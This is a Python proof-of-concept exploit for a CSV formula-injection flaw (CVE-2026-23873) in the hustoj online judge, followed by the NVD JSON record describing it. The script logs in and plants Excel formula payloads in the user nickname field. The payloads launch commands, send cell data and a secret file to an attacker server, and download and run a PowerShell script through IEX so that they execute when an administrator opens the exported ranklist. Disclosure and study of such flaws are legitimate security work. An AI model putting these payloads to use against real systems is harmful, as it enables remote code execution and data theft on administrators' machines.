CVE-2026-23873

# CVE-2026-23873 PoC - CSV Injection in hustoj # Attack Vector: Set malicious nickname to execute commands when admin exports ranklist import requests import json # Target configuration TARGET_URL = "http://target-host/judge" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payloads for Excel formula injection PAYLOADS = [ # Command execution payload (for Windows) "=cmd|' /C calc'!A0", # Data exfiltration payload "=HYPERLINK(\"http://attacker-server/steal?data=\"&A1,\"Click\")", # PowerShell reverse shell "=cmd|' /C powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker-server/shell.ps1')\"'!A0", # File read and exfiltrate "=WEBSERVICE(\"http://attacker-server/read?file=C:\\Users\\admin\\Documents\\secret.txt\")" ] def login(): """Login to hustoj and get session""" session = requests.Session() login_url = f"{TARGET_URL}/login.php" data = { "user_id": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def inject_payload(session, payload): """Update user nickname with malicious formula""" profile_url = f"{TARGET_URL}/userinfo.php" data = { "nick": payload, # Nickname field vulnerable to injection "submit": "1" } response = session.post(profile_url, data=data) return response.status_code == 200 def trigger_admin_export(session): """Simulate admin exporting ranklist (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/ranklist_export.php" params = { "contest_id": "1", "format": "xls" } response = session.get(export_url, params=params) # The exported .xls file will contain the malicious formula return response.content def main(): print("[*] CVE-2026-23873: hustoj CSV Injection PoC") print("[*] Target: " + TARGET_URL) # Step 1: Login as regular user print("\n[1] Logging in as attacker...") session = login() # Step 2: Inject malicious formula into nickname print("[2] Injecting malicious Excel formula into nickname...") for payload in PAYLOADS: print(f" Payload: {payload}") inject_payload(session, payload) print("\n[3] Malicious nickname set successfully") print("[4] Wait for admin to export ranklist and open in Excel") print("[5] Formula will be executed when Excel opens the file") # Note: The actual exploitation requires admin interaction print("\n[*] PoC demonstration complete") print("[*] Real attack requires:") print(" 1. Admin exports ranklist to .xls") print(" 2. Admin opens the .xls file in Microsoft Excel") print(" 3. Excel executes the injected formula") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-23873", "sourceIdentifier": "[email protected]", "published": "2026-01-22T00:15:51.770", "lastModified": "2026-02-27T15:02:33.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "hustoj is an open source online judge based on PHP/C++/MySQL/Linux for ACM/ICPC and NOIP training. All versions are vulnerable to CSV Injection (Formula Injection) through the contest rank export functionality (contestrank.xls.php and admin/ranklist_export.php). The application fails to sanitize user-supplied input (specifically the \"Nickname\" field) before exporting it to an .xls file (which renders as an HTML table but is opened by Excel). If a malicious user sets their nickname to an Excel formula when an administrator exports and opens the rank list in Microsoft Excel, the formula will be executed. This can lead to arbitrary command execution (RCE) on the administrator's machine or data exfiltration. A fix was not available at the time of publication."}, {"lang": "es", "value": "hustoj es un juez en línea de código abierto basado en PHP/C++/MySQL/Linux para el entrenamiento de ACM/ICPC y NOIP. Todas las versiones son vulnerables a la inyección CSV (inyección de fórmulas) a través de la funcionalidad de exportación de clasificación de concursos (contestrank.xls.php y admin/ranklist_export.php). La aplicación no logra sanear la entrada proporcionada por el usuario (específicamente el campo 'Nickname') antes de exportarla a un archivo .xls (que se renderiza como una tabla HTML pero es abierto por Excel). Si un usuario malicioso establece su apodo a una fórmula de Excel cuando un administrador exporta y abre la lista de clasificación en Microsoft Excel, la fórmula será ejecutada. Esto puede llevar a la ejecución arbitraria de comandos (RCE) en la máquina del administrador o a la exfiltración de datos. Una solución no estaba disponible en el momento de la publicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hustoj:hustoj:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.01.31", "matchCriteriaId": "1AAF6021-2121-444F-A632-865C9524A033"}]}]}], "references": [{"url": "https://github.com/zhblue/hustoj/security/advisories/GHSA-gqwv-v7vx-2qjw", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}